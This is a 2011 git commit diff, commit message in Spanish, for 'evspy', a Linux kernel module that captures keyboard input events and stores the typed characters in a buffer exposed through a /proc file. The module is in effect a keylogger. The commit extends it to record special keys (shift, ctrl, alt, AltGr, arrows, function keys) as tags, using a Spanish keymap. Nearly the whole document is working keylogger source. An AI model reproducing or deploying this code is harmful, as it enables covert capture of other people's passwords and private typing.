diff options
author | Guillermo Ramos | 2011-08-28 20:41:48 +0200 |
---|---|---|
committer | Guillermo Ramos | 2011-08-28 20:41:48 +0200 |
commit | d6b7634ce3b2fbc6f54a24196da61e584b9c758d (patch) | |
tree | ef0546c8e708722a06e2d4a56a98ba11d913b798 /evspy | |
parent | 6f073702304735317e0ca3844060cd55f30a2df6 (diff) | |
download | lkm-d6b7634ce3b2fbc6f54a24196da61e584b9c758d.tar.gz |
Evspy reconoce teclas especiales (altgr,tab,...)
Diffstat (limited to 'evspy')
-rw-r--r-- | evspy/evspy.c | 130 | ||||
-rw-r--r-- | evspy/evspy.h | 75 |
2 files changed, 165 insertions, 40 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c index 0ef2456..819a914 100644 --- a/evspy/evspy.c +++ b/evspy/evspy.c @@ -23,7 +23,6 @@ * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic */ -#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> @@ -36,46 +35,14 @@ #include <linux/string.h> #include <linux/cred.h> #include <linux/sched.h> +#include "evspy.h" -#define PROCNAME "driver/evspy" -#define BUFSIZE PAGE_SIZE -#define MIN(x, y) (x) < (y) ? (x) : (y) - -#define incp(p) \ -({ \ - if (p == &buffer[BUFSIZE-1]) \ - p = buffer; \ - else \ - p++; \ - p; \ -}) static char *buffer; static char *rdp; static char *wrp; - -static char map_es[] = { - '.', '.', '1', '2', '3', //0 // 1:ESC - '4', '5', '6', '7', '8', //5 - '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) - '\t', 'q', 'w', 'e', 'r', //15 - 't', 'y', 'u', 'i', 'o', //20 - 'p', '`', '+', '\n', '.', //25 // 29:LCTRL - 'a', 's', 'd', 'f', 'g', //30 - 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) - '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) - 'x', 'c', 'v', 'b', 'n', //45 - 'm', ',', '.', '-', '.', //50 // 54:RMAYUS - '*', '.', ' ', '.', '.', //55 // 56:WIN 58:BLKMAYUS 59-68:F1-F10 - '.', '.', '.', '.', '.', //60 - '.', '.', '.', '.', '.', //65 - '.', '7', '8', '9', '-', //70 - '4', '5', '6', '+', '1', //75 - '2', '3', '.', '.', '.', //80 - '.', '<', '.', '.', '.', //85 - '.', '.', '.', '.', '.', //90 - '.', '\n', '.', '/', '.', //95 // 97:RCTRL -}; +static char tag[] = "<+XXX>"; +static unsigned int blkmayus_state = FREE; int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) @@ -118,15 +85,98 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, return retval; } +void special_char(unsigned int code, unsigned int value) +{ + int known = 1; + int i; + + // Elimina eventos de "despulsado" para teclas no deseadas + switch(code) { + case RMAYUS: + case LMAYUS: + case ALT: + case LCTRL: + case RCTRL: + case ALTGR: + break; + default: + if (value == FREE) + return; + } + + switch(code) { + case RMAYUS: + case LMAYUS: + strncpy(tag+2, "MAY", 3); + break; + case ALT: + strncpy(tag+2, "ALT", 3); + break; + case ALTGR: + strncpy(tag+2, "AGR", 3); + break; + case LCTRL: + case RCTRL: + strncpy(tag+2, "CTR", 3); + break; + case TAB: + strncpy(tag+2, "TAB", 3); + break; + case ESC: + strncpy(tag+2, "ESC", 3); + break; + case UP_AR: + strncpy(tag+2, "A^^", 3); + break; + case DOWN_AR: + strncpy(tag+2, "Avv", 3); + break; + case LEFT_AR: + strncpy(tag+2, "A<<", 3); + break; + case RIGHT_AR: + strncpy(tag+2, "A>>", 3); + break; + default: + known = 0; + } + + if (!known && isfX(code)) { + strncpy(tag+2, "F??", 3); + } else if (!known) { +// strncpy(tag+2, "UNK", 3); + return; + } + + if (value == PRESS) + tag[1] = '+'; + else if (value == FREE) + tag[1] = '-'; + + for (i = 0; i < sizeof(tag) - 1; i++) + ins(tag[i]); +} + static void evspy_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) { - if (type != 1 || value != 1 || code >= 100) + if (type == EV_BLKMAYUS) { + // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS + if (value != blkmayus_state) + special_char(LMAYUS, value); + if (value == PRESS) + blkmayus_state = PRESS; + else if (value == FREE) + blkmayus_state = FREE; return; + } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) { + return; + } - *wrp = map_es[code]; - if (incp(wrp) == rdp) - incp(rdp); + if (map_es[code] == '.' && likely(code != DOT)) + special_char(code, value); + else if (value == PRESS) + ins(map_es[code]); } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, diff --git a/evspy/evspy.h b/evspy/evspy.h new file mode 100644 index 0000000..f140638 --- /dev/null +++ b/evspy/evspy.h @@ -0,0 +1,75 @@ +//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt +#define PROCNAME "driver/evspy2" +#define BUFSIZE PAGE_SIZE +#define MIN(x, y) (x) < (y) ? (x) : (y) + +#define incp(p) \ +({ \ + if (p == &buffer[BUFSIZE-1]) \ + p = buffer; \ + else \ + p++; \ + p; \ +}) + +#define ins(c) \ +({ \ + *wrp = c; \ + if (incp(wrp) == rdp) \ + incp(rdp); \ +}) + +#define isfX(c) \ +({ \ + (c >= F1 && c <= F10) || (c == F11 || c == F12); \ +}) + +#define EV_BLKMAYUS 17 + +#define FREE 0 +#define PRESS 1 +#define HOLD 2 + +#define ESC 1 +#define TAB 15 +#define LCTRL 29 +#define LMAYUS 42 +#define DOT 52 +#define RMAYUS 54 +#define ALT 56 +#define BLKMAYUS 58 +#define F1 59 +#define F10 68 +#define F11 87 +#define F12 88 +#define RCTRL 97 +#define ALTGR 100 +#define UP_AR 103 +#define DOWN_AR 108 +#define LEFT_AR 105 +#define RIGHT_AR 106 + +static char map_es[] = { + '.', '.', '1', '2', '3', //0 // 1:ESC + '4', '5', '6', '7', '8', //5 + '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) + '.', 'q', 'w', 'e', 'r', //15 // 15:TAB + 't', 'y', 'u', 'i', 'o', //20 + 'p', '`', '+', '\n', '.', //25 // 29:LCTRL + 'a', 's', 'd', 'f', 'g', //30 + 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) + '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) + 'x', 'c', 'v', 'b', 'n', //45 + 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS + '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10 + '.', '.', '.', '.', '.', //60 + '.', '.', '.', '.', '.', //65 + '.', '7', '8', '9', '-', //70 + '4', '5', '6', '+', '1', //75 + '2', '3', '.', '.', '.', //80 + '.', '<', '.', '.', '.', //85 + '.', '.', '.', '.', '.', //90 + '.', '\n', '.', '/', '.', //95 // 97:RCTRL + '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow + '.', '.', '.', '.', '.', //105 // 105:lft_arrow 106:rgt_arrow 108:down_arrow +}; |